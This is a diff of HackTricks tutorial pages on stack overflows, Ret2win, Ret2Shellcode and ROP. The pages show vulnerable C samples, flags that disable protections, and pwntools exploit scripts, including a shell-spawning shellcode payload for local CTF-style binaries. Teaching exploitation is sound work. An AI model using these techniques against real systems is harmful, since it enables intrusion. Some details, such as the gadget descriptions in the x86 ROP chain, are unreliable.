* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## What is a Stack Overflow
|
||||
|
||||
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
|
||||
|
||||
The main problem of this overwrite is that the **EIP** and **EBP** pointers to return to the previos function are **stored in the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
|
||||
|
||||
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.\
|
||||
Some common functions vulnerable to this are: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
|
||||
|
||||
For example, the following functions could be vulnerable:
|
||||
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
printf("Enter some text: ");
|
||||
gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
|
||||
### Finding Stack Overflows
|
||||
|
||||
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expected a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
|
||||
|
||||
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the EIP pointer**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length **_**n**_** appears exactly once** as a contiguous subsequence.
|
||||
|
||||
This way, instead of needing to figure out which offset is overwriting the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
|
||||
|
||||
It's possible to use **pwntools** for this:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
|
||||
pattern = cyclic(1000)
|
||||
|
||||
# This is an example value that you'd have found in the EIP/IP register upon crash
|
||||
eip_value = p32(0x6161616c)
|
||||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||||
print(f"The offset is: {offset}")
|
||||
```
|
||||
|
||||
or **GEF**:
|
||||
|
||||
```bash
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
|
||||
## Exploiting Stack Overflows
|
||||
|
||||
During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of other variables inside the stack until reaching the EBP and EIP (or even more).\
|
||||
The most common way to abuse this type of vulnerability is by **modifying the EIP pointer** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
|
||||
|
||||
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
|
||||
|
||||
### Ret2win
|
||||
|
||||
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the EIP** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections/aslr.md) would be disabled) so when the vulnerable function returns, the hidden function will be called:
|
||||
|
||||
{% content-ref url="ret2win.md" %}
|
||||
[ret2win.md](ret2win.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ret2Shellcode
|
||||
|
||||
## Types of protections
|
||||
|
||||
{% content-ref url="../common-binary-protections/" %}
|
||||
[common-binary-protections](../common-binary-protections/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,113 @@
|
|||
# Ret2Shellcode
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ret2shellcode** is a technique used in binary exploitation where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
|
||||
|
||||
### C Example: A Vulnerable Program
|
||||
|
||||
Let's start with a simple example of a vulnerable C program:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
|
||||
|
||||
### Compilation
|
||||
|
||||
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
|
||||
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
|
||||
* `-fno-stack-protector`: Disables stack protection.
|
||||
* `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
|
||||
* `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
|
||||
* `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Set up the process and context
|
||||
binary_path = './vulnerable'
|
||||
p = process(binary_path)
|
||||
context.binary = binary_path
|
||||
context.arch = 'i386' # Specify the architecture
|
||||
|
||||
# Generate the shellcode
|
||||
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
||||
|
||||
# Find the offset to EIP
|
||||
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
||||
|
||||
# Prepare the payload
|
||||
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
||||
nop_slide = asm('nop') * (offset - len(shellcode))
|
||||
payload = nop_slide + shellcode
|
||||
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
||||
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
|
||||
# Send the payload
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
|
||||
|
||||
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
|
||||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
* [**NX**](../common-binary-protections/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
|
||||
|
||||
## Other Examples
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,111 @@
|
|||
# Ret2win
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `ret2win`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
|
||||
|
||||
### C Example
|
||||
|
||||
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations! You've called the win function.\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buf[64];
|
||||
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
|
||||
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
|
||||
* `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
|
||||
* `-fno-stack-protector`: Disable protections against stack overflows.
|
||||
* `-z execstack`: Allow execution of code on the stack.
|
||||
* `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
|
||||
* `-o vulnerable`: Name the output file `vulnerable`.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Set up the process and context for the binary
|
||||
binary_path = './vulnerable'
|
||||
p = process(binary_path)
|
||||
context.binary = binary_path
|
||||
|
||||
# Find the address of the win function
|
||||
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
|
||||
|
||||
# Create the payload
|
||||
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
|
||||
payload = b'A' * 68 + win_addr
|
||||
|
||||
# Send the payload
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
|
||||
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
|
||||
This command will show you the assembly of the `win` function, including its starting address. 
|
||||
|
||||
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
|
||||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
|
||||
## Other examples
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,88 @@
|
|||
# ROP - Return Oriented Programing
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## **Basic Information**
|
||||
|
||||
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
|
||||
|
||||
### Calling Conventions
|
||||
|
||||
Understanding **calling conventions** is crucial for constructing effective ROP chains, especially when calling functions or manipulating data:
|
||||
|
||||
**x86 (32-bit)**
|
||||
|
||||
* **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
|
||||
* **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
|
||||
|
||||
**x64 (64-bit)**
|
||||
|
||||
* Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
|
||||
* **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
|
||||
* **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
From those calling conventions it's possible to observe that in **32 bits the arguments** to functions are **passed through the stack** while in **x64** they are **placed in specific registers**.
|
||||
{% endhint %}
|
||||
|
||||
### How ROP Works
|
||||
|
||||
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
|
||||
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
|
||||
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
|
||||
|
||||
### ROP Chain in x86
|
||||
|
||||
Let's consider a hypothetical scenario where we want to call `system("/bin/sh")` using ROP in a 32-bit binary:
|
||||
|
||||
1. **Find Gadgets**: Suppose we have found the following gadgets in the binary or loaded libraries:
|
||||
* `pop eax; ret`: Pops the top of the stack into `EAX` and returns.
|
||||
* `pop ebx; ret`: Pops the top of the stack into `EAX` and returns.
|
||||
* `mov [ebx], eax; ret`: Moves the value in `EAX` to the location pointed to by `EBX`.
|
||||
* The address of `system`.
|
||||
2. **Prepare the Chain**: We need to prepare a stack that looks like this:
|
||||
* The address of the gadget that sets `EBX`.
|
||||
* The address of the `pop eax; ret` gadget.
|
||||
* The address of the string `"/bin/sh"` in memory (or where we plan to write it).
|
||||
* The address of the `mov [ebx], eax; ret` gadget, to move `"/bin/sh"` into the location pointed by `EBX`.
|
||||
* The address of the `system` function, with `EBX` pointing to our string.
|
||||
3. **Execution**: When the vulnerable function returns, it starts executing our gadget chain, eventually calling `system("/bin/sh")`, and popping a shell.
|
||||
|
||||
### ROP in x64
|
||||
|
||||
Consider a hypothetical scenario where you want to call `execve("/bin/sh", NULL, NULL)` on an x64 system using the System V AMD64 ABI:
|
||||
|
||||
1. **Finding Gadgets**: You would first need to find gadgets that allow you to control the `RDI`, `RSI`, and `RDX` registers, as these will hold the arguments to `execve`.
|
||||
2. **Chain Construction**:
|
||||
* **Set `RDI` to point to the string `"/bin/sh"`**: This is typically done with a `pop RDI; ret` gadget followed by the address of the string (which may need to be placed in the payload or found in memory).
|
||||
* **Zero out `RSI` and `RDX`**: Since the second and third arguments to `execve` are `NULL`, you need gadgets to zero these registers, like `xor RSI, RSI; ret` and `xor RDX, RDX; ret`.
|
||||
* **Call `execve`**: Finally, a gadget that jumps to `execve` (or indirectly calls it) is required.
|
||||
3. **Payload Execution**: After constructing and sending this payload to a vulnerable application, the ROP chain executes, spawning a shell.
|
||||
|
||||
Since x64 uses registers for the first few arguments, it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue